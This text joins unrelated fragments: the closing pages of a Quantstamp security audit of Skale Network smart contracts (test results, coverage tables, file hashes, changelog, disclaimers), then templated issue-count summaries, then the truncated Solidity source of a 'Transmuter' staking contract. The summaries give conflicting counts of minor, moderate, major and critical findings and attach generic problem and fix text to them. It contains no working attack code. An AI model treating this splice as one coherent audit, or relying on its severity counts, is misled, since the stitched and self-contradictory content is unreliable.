✓ should throw exception when attempting to transferFrom unauthorized account (685ms) ✓ an authorized accounts allowance should go down when transferFrom is called (428ms) ✓ should emit a Transfer event when transferFrom is called (394ms) ✓ should emit a Minted Event (420ms) ✓ should emit a Burned Event (320ms) ✓ should not allow reentrancy on transfers (1790ms) ✓ should not allow to delegate burned tokens (2591ms) ✓ should parse call data correctly (423ms) Contract: MathUtils ✓ should properly compare (42ms) ✓ should properly approximately check equality (80ms) in transaction ✓ should subtract normally if reduced is greater than subtracted 3 string ✓ should return 0 if reduced is less than subtracted and emit event (74ms) in call ✓ should subtract normally if reduced is greater than subtracted ✓ should return 0 if reduced is less than subtracted Code Coverage : For the commit 50c8f4e The contracts that are in-scope are generally well-covered with tests: for most files, test coverage exceeds 90%. However, some lines could use additional coverage, such as: , : testing delegation completion • delegation/DelegationControllerL119-120 , : testing an edge case for slashing forgiveness • delegation/TokenState.solL121 , : testing bounty locking • delegation/SkaleBalancesL74-75 The third-party library has a coverage of only 23.77%, however, it appears to have its own test suite in the upstream repository. BokkyPooBahsDateTimeLibrary.sol, we recommend improving branch coverage for the files that are lacking coverage. For specifically, test coverage seems to be low at the commit we are auditing. For the commitremediation-3 TokenState.sol We re-ran the tests for the commit , and some files still have low coverage, including . We recommend improving code coverage. Update:9d60180 TokenState.sol File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 95.74 74.59 95.69 95.84 ConstantsHolder.sol 84 25 72.73 84 192,196,200,201 ContractManager.sol 100 62.5 100 100 Decryption.sol 100 100 100 100 ECDH.sol 95.77 75 100 95.77 160,187,229 Monitors.sol 97.44 90.63 95 97.62 127,218,276 File% Stmts % Branch % Funcs % Lines Uncovered Lines Nodes.sol 98.56 78.26 97.37 98.04 356,509,538 Permissions.sol 88.89 60 83.33 84.62 76,82 Pricing.sol 97.67 85.71 100 97.67 74 Schains.sol 94.81 72 94.74 94.74 … 229,230,231 SchainsInternal.sol 93.85 85.71 94.12 94.34 … 549,648,734 SkaleDKG.sol 95.3 58.33 100 96.15 … 176,478,489 SkaleManager.sol 96.75 76 100 96.75 257,292,314,366 SkaleToken.sol 100 66.67 100 100 SkaleVerifier.sol 94.74 78.57 100 94.74 61 SlashingTable.sol 100 100 100 100 contracts/ delegation/ 93.3 75.31 95.95 93.06 DelegationController.sol 95.59 84.88 96 95.57 … 736,748,786 DelegationPeriodManager.sol 71.43 100 66.67 71.43 55,57 Distributor.sol 94.29 69.23 100 94.29 179,186,208,214 PartialDifferences.sol 89.11 76.09 100 90 … 295,296,299 Punisher.sol 100 50 100 94.44 94 TimeHelpers.sol 100 50 100 100 TokenLaunchLocker.sol 97.78 77.27 100 97.96 89 TokenLaunchManager.sol 100 68.75 100 100 TokenState.sol 64 0 80 59.26 … 104,105,106 ValidatorService.sol 94.32 78.26 93.75 94.68 … 394,420,437 contracts/ utils/ 98.06 76.32 97.22 98.11 FieldOperations.sol 96.92 83.33 100 96.92 171,250 FractionUtils.sol 94.44 50 83.33 94.44 43 MathUtils.sol 100 87.5 100 100 Precompiled.sol 100 50 100 100 StringUtils.sol 100 100 100 100 All files 95.12 75 95.91 95.1 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 3b5f554e5cb3ba6e111b3bf89c21fe4f20640da5a10e87bcb4670eccc3329d62 ./contracts/ContractManager.sol e2a5194a012c8dbda09796f9d636a3b0ca9f926f9368ce3d4a5d41f9b05ed908 ./contracts/Permissions.sol 6c233479d7dca03fd9524e1fd5991e60cd4e15b049b61e4ad5200039076e4270 ./contracts/SkaleToken.sol a6c52a9b24669db1ca15ac63a650c573020bfaa78e67dc63dd9a37e2c0f45188 ./contracts/SkaleManager.sol 2abb171a3bdf413e1a6bd8bfbc920251c162a9240a665bc4eec4415ac27e6f01 ./contracts/interfaces/delegation/IDelegatableToken.sol daf515794090cf18eda69ff4c2f42ae17c28cf9d64e89343e196683167aa57ab ./contracts/interfaces/delegation/ILocker.sol df46ac05894d217c532804c2a37ae95e2bfab384ff97a0a86e5fdf05da49d9c3 ./contracts/thirdparty/BokkyPooBahsDateTimeLibrary.sol 4985fcdd612c04439424e00942b627d604779640fa4216279779547e9624e01a ./contracts/thirdparty/openzeppelin/ERC777.sol 0ab43141c1be6c6764ed9c15c9b87a803250ff4ad57b56bd0be002b9358260d8 ./contracts/delegation/Punisher.sol c13f4a58aac93d20b667f62b880627f4681ea5aaa2ec1a86c8f93cee55f342b5./contracts/delegation/DelegationPeriodManager.sol 921d6266a1bfbe97259e34c90d854841ee87d6dce183edc9bb1fd577c9089370 ./contracts/delegation/TimeHelpers.sol eab81a275aa9464e4e81d10e99817e867f586c3c81000d8b2472a8497e3527db ./contracts/delegation/TokenLaunchLocker.sol 7a63cff448c2d7b2f4862548444ba6bf8bb137fb22aec68487104dd483ae87a5 ./contracts/delegation/PartialDifferences.sol 1fdeaae183e4c3685cea9b860a5fc1720d7e8a309c9108f70e3e0286ce2f37b0 ./contracts/delegation/TokenState.sol b8968762050d788c908042a217a4942dcc3a49de961b5f046a26e05acdfe6885 ./contracts/delegation/Distributor.sol e0ee452239ff287f3719eae71c464422f0963696467b656f1fda3f512ab2c5ed ./contracts/delegation/DelegationController.sol 1459d07fee70ad118790f5797690ea7826170bc2be2d6594b22d8ab0fad288cc ./contracts/delegation/TokenLaunchManager.sol b2242ae9b1ff600ec27ffe19d4a9ca2f97a72d13573f00ac8e494b3b018203c2 ./contracts/delegation/ValidatorService.sol 9ccbd82dab4f785b8ab3be31daad3bffa7b2a9043a3a78d18c5a65cdc756d115 ./contracts/utils/MathUtils.sol c5eb14b8c58067d273ca65714ab37dd7245e8dbbcc78f698f741dc265d0b8ecf ./contracts/utils/StringUtils.sol Tests 7445aec498345cbcfd2f7e23d544d6162dcd55c83f67094b84198d1c07a63d39 ./test/ECDH.ts 1c6e373bbf0df3ea96edbebb4f37d71668c752055127d5f806be391d1991dbba ./test/SkaleToken.ts 8fe27026eaa30c437fac34bf3fa16e6d148b7c3468af5c91d88ccf0e108ca0b2 ./test/Schains.ts 269ce78a5ede9b3f142b1bf2c6ea4c9e930ad46e0bc5874e96f94b30ce836c67 ./test/Monitors.ts 774772f446f0a778e652799612a5d25864f39cebc956d0010ad3006146dba14d ./test/SkaleDKG.ts 85de8a2a0f8c62ea54b599d11a72e88fe4e1911fd116f0523e861b59cef06fd2 ./test/Pricing.ts 38758b00b5a8f7218103e12f5b680d10392722110e2272c6443b71b386348c56 ./test/SkaleVerifier.ts 0a019c657a6e51b17f143906802139a99d99c4649a38dcdda9632023f2aaf822 ./test/ContractManager.ts 357e8e0d92cd9de52c3a2894688e95d3978136977a6e525d733117bd5ae922c4 ./test/ConstantsHolder.ts 31ccd2f2d91adeeb739b7ebb3c4ae81b785f1c1f0c0c4f31e108f9d94435b1a3 ./test/NodesFunctionality.ts f4c07816c16a02470b487bd3e0f9deca7cc766ea8b539bd9dd1b10c7a274cca4 ./test/Decryption.ts 8dc44b1e7fa1796ee22036e1d5d82560714d7f24727a0f352db5f4a864b1d434 ./test/SkaleManager.ts 68fc99377576c7aea33cef124a60dfdc0e0cbe68280c60a69e9b07e753d31992 ./test/SchainsInternal.ts a2151cd98c0ca5c72ef12eda9331ccd28d7ee802d5e34dc22ef3d75b8d590cf2 ./test/NodesData.ts 0f90907534d86572f02d497f94c2d5d5b24d2d94b8c3df127d3445c89ea91fd4 ./test/delegation/Delegation.ts 0382677cdd6689a25c897f1449ba7cd7bfc8f546584275a9972053ba89ccd917 ./test/delegation/TokenState.ts 172239c144c2ad8c1656de650f74f9b678b70e5e7ec6341fc22e4486dd8e9a5c ./test/delegation/TokenLaunch.ts ee262687c8073fdc4489e6706413566731e3be1948f000f3b2f3c3add7308c5c ./test/delegation/PartialDifferences.ts 337c1b7ec194402da5204b1fc12ed84493079410a7acf160a03254f3c771998c ./test/delegation/DelegationController.ts a0392eb0a3b5c33d7a3c55f8dbeafbe7c0867542a4ed82d9eac19cc8816d28c7 ./test/delegation/ValidatorService.ts a3aaaacce8e943257a9861d9bc8400a6531ced268203a820385116a7e0d247b2 ./test/utils/MathUtils.ts a01b72aafb9900064e91dc53380d8aa8737f4baa72f54136d7d55553cceb9742 ./test/tools/types.ts 90c2bdf776dc095f4dd0c1f33f746bea37c81b3ad81d51571d8dc84d416ecd13 ./test/tools/elliptic-types.ts 166431169af5c5def41b885179f26f0b9a977091c62e2ef4c05547a0bd9ab4f0 ./test/tools/command_line.ts d41442de652a1c152afbb664069e4dd836c59b974c2f2c0955832fdcc617f308 ./test/tools/time.ts 862b66e303fdcd588b5fcd9153812893d22f9fe1acabf323e0eaaa5cfd778a0d ./test/tools/deploy/ecdh.ts 36f24255c90a436abce5ab1b2a14d2e19dda0402b7292bc5b52089689f56b20c ./test/tools/deploy/skaleToken.ts 7d52ba16d9dfed2314f6d140aa99f9e76a674d35a1960dcaf268f57b4d777aa5 ./test/tools/deploy/schains.ts d020d06aa6b43356332f078b22b9639d7a224642ac447618ce2f21e00252c15f ./test/tools/deploy/monitors.ts 1aa57879dc8cc4150e55f84c884c041ca387d82784fe49163e4ba00ac0c4c917 ./test/tools/deploy/nodes.ts 2eef616fd6dd94f7e71bbbfa49a280db9453d953867f7cd2d9ccbe5150e6ac42 ./test/tools/deploy/skaleDKG.ts b737e22a2a4958a1d8d6c0348bccc77b373ba71b4c74aa7798bb433014c120ce ./test/tools/deploy/pricing.ts 63e4802674e494a990b3ed5fe2dfcd32a5333320126f9ecc2856ac278b2dbb5c ./test/tools/deploy/slashingTable.ts a911fb09c3f47d109a5a668df47a8b7a6e99788966ab82dd1565bbf9515a59b5 ./test/tools/deploy/skaleVerifier.ts d98550c2db28471ff0a861987f5a3b0616b19ae08cd4256ab88c28194ebd947d ./test/tools/deploy/contractManager.ts de7143ec7676eb978f26e9c8bb55ac861a43d4b4089ab7701d71e42335943881 ./test/tools/deploy/factory.ts 928b1bd747e8cb8715d6547f445e186949c0a70bf9257711e1e7d0cd62126385./test/tools/deploy/constantsHolder.ts af7bcb8cfef5f110a1ee4c6a14451f9caaf0d00308a9fd5cd30bcf7759bb7720 ./test/tools/deploy/skaleManager.ts 6441be737f66551ec611210b7eff5128f8ced40cc4e6ac2e8bc865f866889480 ./test/tools/deploy/schainsInternal.ts 182d8295b09d1184f8bae29aef2a86e7b98c164d506997ed789625867534c799 ./test/tools/deploy/dectyption.ts c1e81470f0ae2a1a2ca82c145b5050d95be248ca7e5d8a7b0f40f08cc568df34 ./test/tools/deploy/delegation/punisher.ts 4224ab4d3e35bf3de906f9ac07ec553d719cc0810a01dcb750b18d8f59e8d2bb ./test/tools/deploy/delegation/tokenState.ts 40cebd0731796b38c584a881d4cef78532ca4a7bab456d79194de54cd6aae740 ./test/tools/deploy/delegation/tokenLaunchLocker.ts 29f342e6ec0b662fe021acf4e57691dfeec1a78c8624134287b9ef70cbba9de9 ./test/tools/deploy/delegation/tokenLaunchManager.ts 3b3657a436f5437bba6c9ff07e9a90507aceb7456466b851d33b4aa84c3377d3 ./test/tools/deploy/delegation/delegationController.ts 14663bff4b527d8b08c81ea577dceff2a70ea173816590a9d3b72bd8b5bf9b9e ./test/tools/deploy/delegation/distributor.ts 447f41a342e6645a08a6b96bd4e88abfc5009973af2526f8d410bfc7b7fa7046 ./test/tools/deploy/delegation/delegationPeriodManager.ts ff7d5f2a19c6766e728f1fcbc037c412f532649be1f448487c51e5f2ffa38c1b ./test/tools/deploy/delegation/timeHelpers.ts 9a19073e52af0e230516006d0f1eecafe320defa4808d9f3484b11db0e584c36 ./test/tools/deploy/delegation/validatorService.ts 8bee5eef07f2e98c9fb49880d682b7e350cd0ace0d1e1c56a56d220361616355 ./test/tools/deploy/test/partialDifferencesTester.ts 169c8f3df4758ae9780cff15eef9ada9549d1a082aff0302a25dc467e1616e4a ./test/tools/deploy/test/timeHelpersWithDebug.ts 65a100c7361f1fbb6c537c68aa9319519b39acf58e870bca6148725747638644 ./test/tools/deploy/test/reentracyTester.ts Changelog 2020-02-12 - Initial report •2020-02-20 - Severity level of QSP-2 lowered after discussing with the Skale team. •2020-06-19 - Diff audited ( ) • 50c8f4e..remediation-3 2020-06-25 - Diff audited (multiple commits) •2020-07-10 - Severity level of QSP-17 lowered •About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure blockchain platforms at scale using computer-aided reasoning tools, with a mission to help boost the adoption of this exponentially growing technology. With over 1000 Google scholar citations and numerous published papers, Quantstamp's team has decades of combined experience in formal verification, static analysis, and software verification. Quantstamp has also developed a protocol to help smart contract developers and projects worldwide to perform cost-effective smart contract security scans. To date, Quantstamp has protected $1B in digital asset risk from hackers and assisted dozens of blockchain projects globally through its white glove security assessment services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Quantstamp's collaborations with leading academic institutions such as the National University of Singapore and MIT (Massachusetts Institute of Technology) reflect our commitment to research, development, and enabling world-class blockchain security. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Blockchain technology remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond the programming language, or other programming aspects that could present security risks. A report does not indicate the endorsement of any particular project or team, nor guarantee its security. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell a product, service or any other asset. To the fullest extent permitted by law, we disclaim all warranties, expressed or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third-party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked websites, any websites or mobile applications appearing on any advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. Skale Network Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 0 - Moderate: 1 - Major: 3 - Critical: 0 Moderate 3.a Problem: The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. 3.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Major 4.a Problem: The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. 4.b Fix: Mitigated by implementing actions to minimize the impact or likelihood of the risk. Informational 5.a Problem: The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. 5.b Fix: Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Observations - The scope of the audit is restricted to the set of files outlined in the section. - Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 4 - Major: 2 - Critical: 0 Minor Issues 2.a Problem (one line with code reference): Unresolved findings in original commit (50c8f4e) 2.b Fix (one line with code reference): Addressed in separate commits/PRs (1da7bbd, 8c6a218, 8652d74, 0164b22, 7e040bf, bd17697, c671839) Moderate 3.a Problem (one line with code reference): 12 new potential issues of varying levels of severity 3.b Fix (one line with code reference): Address all issues before running in production Major 4.a Problem (one line with code reference): Severity of some findings remained as "undetermined" due to lack of documentation 4.b Fix (one line with code reference): Address all issues before running in production Critical None Observations - Unresolved findings in original commit (50c8f4e) - 12 new potential issues of varying levels of severity - Issues Count of Minor/Moderate/Major/Critical - Minor: 8 - Moderate: 1 - Major: 2 - Critical: 2 Minor Issues 2.a Problem: Potentially Unsafe Use of Arithmetic Operations (QSP-1) 2.b Fix: Fixed 3. Moderate 3.a Problem: Denial-of-Service (DoS) (QSP-15) 3.b Fix: Fixed 4. Major 4.a Problem: Validator Denial-of-Service (QSP-4) 4.b Fix: Fixed 5. Critical 5.a Problem: Free Tokens for Owner from Testing Code (QSP-3) 5.b Fix: Fixed 6. Observations - Quantstamp's objective was to evaluate the following files for security-related issues, code quality, and adherence to specification and best practices: ContractManager.sol, Permissions.sol, SkaleToken.sol, interfaces/ISkaleToken.sol, interfaces/delegation/IDelegatableToken.sol, interfaces/delegation/IHolderDelegation.sol, interfaces/delegation
pragma solidity 0.6.12; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "./interfaces/IERC20Burnable.sol"; contract Transmuter is Context { using SafeMath for uint256; using SafeERC20 for IERC20Burnable; using Address for address; address public constant ZERO_ADDRESS = address(0); uint256 public TRANSMUTATION_PERIOD; address public NToken; address public Token; mapping(address => uint256) public depositedNTokens; mapping(address => uint256) public tokensInBucket; mapping(address => uint256) public realisedTokens; mapping(address => uint256) public lastDividendPoints; mapping(address => bool) public userIsKnown; mapping(uint256 => address) public userList; uint256 public nextUser; uint256 public totalSupplyNtokens; uint256 public buffer; uint256 public lastDepositBlock; ///@dev values needed to calculate the distribution of base asset in proportion for nTokens staked uint256 public pointMultiplier = 10e18; uint256 public totalDividendPoints; uint256 public unclaimedDividends; uint256 public USDT_CONST; /// @dev formation addresses whitelisted mapping(address => bool) public whiteList; /// @dev The address of the account which currently has administrative capabilities over this contract. address public governance; /// @dev The address of the pending governance. address public pendingGovernance; event GovernanceUpdated(address governance); event PendingGovernanceUpdated(address pendingGovernance); event TransmuterPeriodUpdated(uint256 newTransmutationPeriod); constructor( address _NToken, address _Token, address _governance ) public { require(_NToken != ZERO_ADDRESS, "Transmuter: NToken address cannot be 0x0"); require(_Token != ZERO_ADDRESS, "Transmuter: Token address cannot be 0x0"); require(_governance != ZERO_ADDRESS, "Transmuter: 0 gov"); require(IERC20Burnable(_Token).decimals() <= IERC20Burnable(_NToken).decimals(), "Transmuter: xtoken decimals should be larger than token decimals"); USDT_CONST = uint256(10)**(uint256(IERC20Burnable(_NToken).decimals()).sub(uint256(IERC20Burnable(_Token).decimals()))); governance = _governance; NToken = _NToken; Token = _Token; TRANSMUTATION_PERIOD = 50; } ///@return displays the user's share of the pooled nTokens. function dividendsOwing(address account) public view returns (uint256) { uint256 newDividendPoints = totalDividendPoints.sub(lastDividendPoints[account]); return depositedNTokens[account].mul(newDividendPoints).div(pointMultiplier); } ///@dev modifier to fill the bucket and keep bookkeeping correct incase of increase/decrease in shares modifier updateAccount(address account) { uint256 owing = dividendsOwing(account); if (owing > 0) { unclaimedDividends = unclaimedDividends.sub(owing); tokensInBucket[account] = tokensInBucket[account].add(owing); } lastDividendPoints[account] = totalDividendPoints; _; } ///@dev modifier add users to userlist. Users are indexed in order to keep track of when a bond has been filled modifier checkIfNewUser() { if (!userIsKnown[msg.sender]) { userList[nextUser] = msg.sender; userIsKnown[msg.sender] = true; nextUser++; } _; } ///@dev run the phased distribution of the buffered funds modifier runPhasedDistribution() { uint256 _lastDepositBlock = lastDepositBlock; uint256 _currentBlock = block.number; uint256 _toDistribute = 0; uint256 _buffer = buffer; // check if there is something in bufffer if (_buffer > 0) { // NOTE: if last deposit was updated in the same block as the current call // then the below logic gates will fail //calculate diffrence in time uint256 deltaTime = _currentBlock.sub(_lastDepositBlock); // distribute all if bigger than timeframe if (deltaTime >= TRANSMUTATION_PERIOD) { _toDistribute = _buffer; } else { //needs to be bigger than 0 cuzz solidity no decimals if (_buffer.mul(deltaTime) > TRANSMUTATION_PERIOD) { _toDistribute = _buffer.mul(deltaTime).div(TRANSMUTATION_PERIOD); } } // factually allocate if any needs distribution if (_toDistribute > 0) { // remove from buffer buffer = _buffer.sub(_toDistribute); // increase the allocation increaseAllocations(_toDistribute); } } // current timeframe is now the last lastDepositBlock = _currentBlock; _; } /// @dev A modifier which checks if whitelisted for minting. modifier onlyWhitelisted() { require(whiteList[msg.sender], "Transmuter: !whitelisted"); _; } /// @dev Checks that the current message sender or caller is the governance address. /// /// modifier onlyGov() { require(msg.sender == governance, "Transmuter: !governance"); _; } ///@dev set the TRANSMUTATION_PERIOD variable /// /// sets the length (in blocks) of one full distribution phase function setTransmutationPeriod(uint256 newTransmutationPeriod) public onlyGov { require(newTransmutationPeriod > 0, "Transmuter: transmutation period cannot be 0"); TRANSMUTATION_PERIOD = newTransmutationPeriod; emit TransmuterPeriodUpdated(TRANSMUTATION_PERIOD); } ///@dev claims the base token after it has been transmuted /// ///This function reverts if there is no realisedToken balance function claim() public { address sender = msg.sender; require(realisedTokens[sender] > 0); uint256 value = realisedTokens[sender]; realisedTokens[sender] = 0; IERC20Burnable(Token).safeTransfer(sender, value); } ///@dev Withdraws staked nTokens from the transmuter /// /// This function reverts if you try to draw more tokens than you deposited /// ///@param amount the amount of nTokens to unstake function unstake(uint256 amount) public updateAccount(msg.sender) { // by calling this function before transmuting you forfeit your gained allocation address sender = msg.sender; // normalize amount to fit the digit of token amount = amount.div(USDT_CONST).mul(USDT_CONST); require(depositedNTokens[sender] >= amount, "Transmuter: unstake amount exceeds deposited amount"); depositedNTokens[sender] = depositedNTokens[sender].sub(amount); totalSupplyNtokens = totalSupplyNtokens.sub(amount); IERC20Burnable(NToken).safeTransfer(sender, amount); } ///@dev Deposits nTokens into the transmuter /// ///@param amount the amount of nTokens to stake function stake(uint256 amount) public runPhasedDistribution updateAccount(msg.sender) checkIfNewUser { // requires approval of NToken first address sender = msg.sender; // normalize amount to fit the digit of token amount = amount.div(USDT_CONST).mul(USDT_CONST); //require tokens transferred in; IERC20Burnable(NToken).safeTransferFrom(sender, address(this), amount); totalSupplyNtokens = totalSupplyNtokens.add(amount); depositedNTokens[sender] = depositedNTokens[sender].add(amount); } /// @dev Converts the staked nTokens to the base tokens in amount of the sum of pendingdivs and tokensInBucket /// /// once the NToken has been converted, it is burned, and the base token becomes realisedTokens which can be recieved using claim() /// /// reverts if there are no pendingdivs or tokensInBucket function transmute() public runPhasedDistribution updateAccount(msg.sender) { address sender = msg.sender; uint256 pendingz_USDT; uint256 pendingz = tokensInBucket[sender]; uint256 diff; require(pendingz > 0, "need to have pending in bucket"); tokensInBucket[sender] = 0; // check bucket overflow if (pendingz.mul(USDT_CONST) > depositedNTokens[sender]) { diff = pendingz.mul(USDT_CONST).sub(depositedNTokens[sender]); // remove overflow pendingz = depositedNTokens[sender].div(USDT_CONST); } pendingz_USDT = pendingz.mul(USDT_CONST); // decrease ntokens depositedNTokens[sender] = depositedNTokens[sender].sub(pendingz_USDT); // BURN ntokens IERC20Burnable(NToken).burn(pendingz_USDT); // adjust total totalSupplyNtokens = totalSupplyNtokens.sub(pendingz_USDT); // reallocate overflow increaseAllocations(diff.div(USDT_CONST)); // add payout realisedTokens[sender] = realisedTokens[sender].add(pendingz); } /// @dev Executes transmute() on another account that has had more base tokens allocated to it than nTokens staked. /// /// The caller of this function will have the surlus base tokens credited to their tokensInBucket balance, rewarding them for performing this action /// /// This function reverts if the address to transmute is not over-filled. /// /// @param toTransmute address of the account you will force transmute. function forceTransmute(address toTransmute) public runPhasedDistribution updateAccount(msg.sender) updateAccount(toTransmute) checkIfNewUser { //load into memory uint256 pendingz_USDT; uint256 pendingz = tokensInBucket[toTransmute]; // check restrictions require(pendingz.mul(USDT_CONST) > depositedNTokens[toTransmute], "Transmuter: !overflow"); // empty bucket tokensInBucket[toTransmute] = 0; // calculaate diffrence uint256 diff = pendingz.mul(USDT_CONST).sub(depositedNTokens[toTransmute]); // remove overflow pendingz = depositedNTokens[toTransmute].div(USDT_CONST); pendingz_USDT = pendingz.mul(USDT_CONST); // decrease ntokens depositedNTokens[toTransmute] = depositedNTokens[toTransmute].sub(pendingz_USDT); // BURN ntokens IERC20Burnable(NToken).burn(pendingz_USDT); // adjust total totalSupplyNtokens = totalSupplyNtokens.sub(pendingz_USDT); // reallocate overflow tokensInBucket[msg.sender] = tokensInBucket[msg.sender].add(diff.div(USDT_CONST)); // add payout realisedTokens[toTransmute] = realisedTokens[toTransmute].add(pendingz); // force payout of realised tokens of the toTransmute address if (realisedTokens[toTransmute] > 0) { uint256 value = realisedTokens[toTransmute]; realisedTokens[toTransmute] = 0; IERC20Burnable(Token).safeTransfer(toTransmute, value); } } /// @dev Transmutes and unstakes all nTokens /// /// This function combines the transmute and unstake functions for ease of use function exit() public { transmute(); uint256 toWithdraw = depositedNTokens[msg.sender]; unstake(toWithdraw); } /// @dev Transmutes and claims all converted base tokens. /// /// This function combines the transmute and claim functions while leaving your remaining nTokens staked. function transmuteAndClaim() public { transmute(); claim(); } /// @dev Transmutes, claims base tokens, and withdraws nTokens. /// /// This function helps users to exit the transmuter contract completely after converting their nTokens to the base pair. function transmuteClaimAndWithdraw() public { transmute(); claim(); uint256 toWithdraw = depositedNTokens[msg.sender]; unstake(toWithdraw); } /// @dev Distributes the base token proportionally to all NToken stakers. /// /// This function is meant to be called by the Formation contract for when it is sending yield to the transmuter. /// Anyone can call this and add funds, idk why they would do that though... /// /// @param origin the account that is sending the tokens to be distributed. /// @param amount the amount of base tokens to be distributed to the transmuter. function distribute(address origin, uint256 amount) public onlyWhitelisted runPhasedDistribution { IERC20Burnable(Token).safeTransferFrom(origin, address(this), amount); buffer = buffer.add(amount); } /// @dev Allocates the incoming yield proportionally to all NToken stakers. /// /// @param amount the amount of base tokens to be distributed in the transmuter. function increaseAllocations(uint256 amount) internal { if (totalSupplyNtokens > 0 && amount > 0) { totalDividendPoints = totalDividendPoints.add(amount.mul(pointMultiplier).div(totalSupplyNtokens)); unclaimedDividends = unclaimedDividends.add(amount); } else { buffer = buffer.add(amount); } } /// @dev Gets the status of a user's staking position. /// /// The total amount allocated to a user is the sum of pendingdivs and inbucket. /// /// @param user the address of the user you wish to query. /// /// returns user status function userInfo(address user) public view returns ( uint256 depositedAl, uint256 pendingdivs, uint256 inbucket, uint256 realised ) { uint256 _depositedN = depositedNTokens[user]; uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(TRANSMUTATION_PERIOD); if (block.number.sub(lastDepositBlock) > TRANSMUTATION_PERIOD) { _toDistribute = buffer; } uint256 _pendingdivs = _toDistribute.mul(depositedNTokens[user]).div(totalSupplyNtokens); uint256 _inbucket = tokensInBucket[user].add(dividendsOwing(user)); uint256 _realised = realisedTokens[user]; return (_depositedN, _pendingdivs, _inbucket, _realised); } /// @dev Gets the status of multiple users in one call /// /// This function is used to query the contract to check for /// accounts that have overfilled positions in order to check /// who can be force transmuted. /// /// @param from the first index of the userList /// @param to the last index of the userList /// /// returns the userList with their staking status in paginated form. function getMultipleUserInfo(uint256 from, uint256 to) public view returns (address[] memory theUserList, uint256[] memory theUserData) { uint256 i = from; uint256 delta = to - from; address[] memory _theUserList = new address[](delta); //user uint256[] memory _theUserData = new uint256[](delta * 2); //deposited-bucket uint256 y = 0; uint256 _toDistribute = buffer.mul(block.number.sub(lastDepositBlock)).div(TRANSMUTATION_PERIOD); if (block.number.sub(lastDepositBlock) > TRANSMUTATION_PERIOD) { _toDistribute = buffer; } for (uint256 x = 0; x < delta; x += 1) { _theUserList[x] = userList[i]; _theUserData[y] = depositedNTokens[userList[i]]; _theUserData[y + 1] = dividendsOwing(userList[i]).add(tokensInBucket[userList[i]]).add(_toDistribute.mul(depositedNTokens[userList[i]]).div(totalSupplyNtokens)); y += 2; i += 1; } return (_theUserList, _theUserData); } /// @dev Gets info on the buffer /// /// This function is used to query the contract to get the /// latest state of the buffer /// /// @return _toDistribute the amount ready to be distributed /// @return _deltaBlocks the amount of time since the last phased distribution /// @return _buffer the amount in the buffer function bufferInfo() public view returns ( uint256 _toDistribute, uint256 _deltaBlocks, uint256 _buffer ) { _deltaBlocks = block.number.sub(lastDepositBlock); _buffer = buffer; _toDistribute = _buffer.mul(_deltaBlocks).div(TRANSMUTATION_PERIOD); } /// @dev Sets the pending governance. /// /// This function reverts if the new pending governance is the zero address or the caller is not the current /// governance. This is to prevent the contract governance being set to the zero address which would deadlock /// privileged contract functionality. /// /// @param _pendingGovernance the new pending governance. function setPendingGovernance(address _pendingGovernance) external onlyGov { require(_pendingGovernance != ZERO_ADDRESS, "Transmuter: 0 gov"); pendingGovernance = _pendingGovernance; emit PendingGovernanceUpdated(_pendingGovernance); } /// @dev Accepts the role 